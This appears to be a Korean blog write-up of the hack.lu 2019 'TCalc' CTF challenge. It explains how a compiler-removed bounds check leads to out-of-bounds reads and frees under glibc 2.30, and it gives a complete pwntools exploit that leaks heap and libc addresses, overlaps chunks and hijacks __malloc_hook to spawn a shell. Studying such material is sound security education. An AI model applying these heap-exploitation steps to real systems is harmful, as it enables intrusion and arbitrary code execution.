hack.lu 2019 TCalc
숫자를 입력하고, 평균을 출력하며, 숫자를 삭제하는 3가지 메뉴가 존재한다.
이 문제의 특이한 점은 2.30 glibc
를 이용했다는 점과, code
를 제공했다는 점이다.
code
리뷰를 진행해보면, 취약점을 찾기가 힘든데, ida
로 보면 다음 코드가 아래와 같이 바뀌어 있다.
어떻게 이런 일이 가능한 것일까?
이는 S1R1US
https://www.s1r1us.ninja/2019/10/hacklu-ctf-2019-writeups.html#tcalc를 참고하였다.
c style languager
에서는 0 <= idx < ARR_LEN
과 같은 문법은 허용되지 않는다.
이는 컴파일러에서 (0 <= idx) < ARR_LEN
으로 인식되며, 이는 항상 참인 구문이 되므로 컴파일러 최적화에 의해 삭제된 것이다.
gdb
로 해당 코드를 disassemble
한 결과도 동일하게 삭제되어 있음을 알 수 있다.
이와 같은 security
구문은 print average
, delete number
두 함수에 포함되어 있으므로, 이 구문이 삭제됨으로써 oob
가 발생한다!
또한, calloc
으로 힙을 할당하므로 tcache
를 다시 할당 받을 수 없음을 주의하자.
그럼, heap leak
을 시작해보자^^!
number chunk
는 num of number
, num arr
으로 이루어져 있으므로, num of number
를 num arr
의 크기보다 크게 잡아주면 data
를 leak
할 수 있는데, fd
를 맞춰주고 leak
을 하려고 보면 너무나도 커서 오류가 뜬다.
이를 우회하기 위해 free
된 fastbin
을 이용하여 leak
을 진행하면 된다.
그러면 print_average
는 다음과 같이 작동할 것이다.
xxxxxxxxxx
num of number(8), chunk size(8),
fd addr(8)
num of number
자리에는 previous chunk
에서 입력이 가능하므로 이를 통해 leak
을 진행하자!
libc leak
로 unsorted bin
을 통해 비슷하게 진행할 수 있다.
이를 통해 heap
, libc
를 모두 leak
하고 나면 heap
에서 oob free
가 가능하므로 chunk
를 overlapping
하여 fd
를 __malloc_hook
으로 조작하고, system
을 써넣은 뒤 system("/bin/sh")
를 실행시키면 쉘을 얻을 수 있다!
xxxxxxxxxx
from pwn import *
#context.log_level= 'debug'
e = ELF('chall')
s = remote("tcalc.forfuture.fluxfingers.net", 1337)
#s = process(e.path)
#s = process(e.path, env={'LD_PRELOAD':'./libc.so.6'})
#l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
l = ELF('libc.so.6', checksec=False)
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
sa = lambda x,y: s.sendafter(x,y)
def menu(sel):
sla('>', sel)
def get(cnt, num):
menu('1')
sla('enter?\n', cnt)
for i in num:
sl(i)
def print_average(idx):
menu('2')
sla('idx?\n', idx)
ru('>The average is: ')
return float(s.recvuntil('-', drop=True))
def delete(idx):
menu('3')
sla('idx?\n', idx)
for _ in xrange(10):
get('2', ['1', '2'])
for i in xrange(10):
delete(str(i))
leak = print_average('562')
heap = int(leak*2 - 0x21) - 0x13a0
log.info('heap: {}'.format(hex(heap)))
get('130', ['x']) # 0
get('2', ['1', '2']) # 1
delete('0')
get('2', ['1', '6']) # 0
get('2', ['x']) # 2
delete('2')
delete('0')
leak = print_average('554')
#l_base = int(leak*6 -0x21 -0x3e1) - 0x1e4ca0
l_base = int(leak*6 -0x21 -0x3e1) - (0x1c0a40)
#l_base -= 0x2e30 # libc gap
log.info('l_base: {}'.format(hex(l_base)))
m_hook = l_base + l.symbols['__malloc_hook']
system = l_base + l.symbols['system']
log.info('system: {}'.format(hex(system)))
#delete('1') # clean index
# overlapping
get(str(0x60//8), ['0', '0', str(heap+0x1420), '0', str(0x71), 'x']) # 0
get(str(0x60//8), ['0' for _ in xrange(0x20//8)] + [str(0x41), 'x']) # 2
for _ in xrange(6):
get(str(0x60//8), ['x'])
delete('3')
delete('0')
delete('2')
delete('565')
# attack
get(str(0x60//8), ['0']*6 + [str(0x71)] + [str(m_hook-8-8-8-8-3), 'x'])
get(str(0x60//8), [str(0x0068732f6e69622f), 'x'])
# only work if slice_system <= ((2<<62)-1)
slice_system = (system & 0x000000ffffffffff) << 24
log.info('slice_system: {}'.format(slice_system))
assert slice_system <= ((2<<62)-1)
get(str(0x60//8), ['0', str(slice_system), str(0x7f), 'x'])
get(str((heap+0x1468)//8 - 1), ['x'])
io()
'system > writeup' 카테고리의 다른 글
2019 codegate maris_shop (0) | 2019.11.03 |
---|---|
2019 hack.lu no_risc_no_future (0) | 2019.11.03 |
2018 hctf babyprintf_ver2 (0) | 2019.10.29 |
2019 seccon monoid_operator (0) | 2019.10.27 |
holyshield 2019 masked_calculator (0) | 2019.10.27 |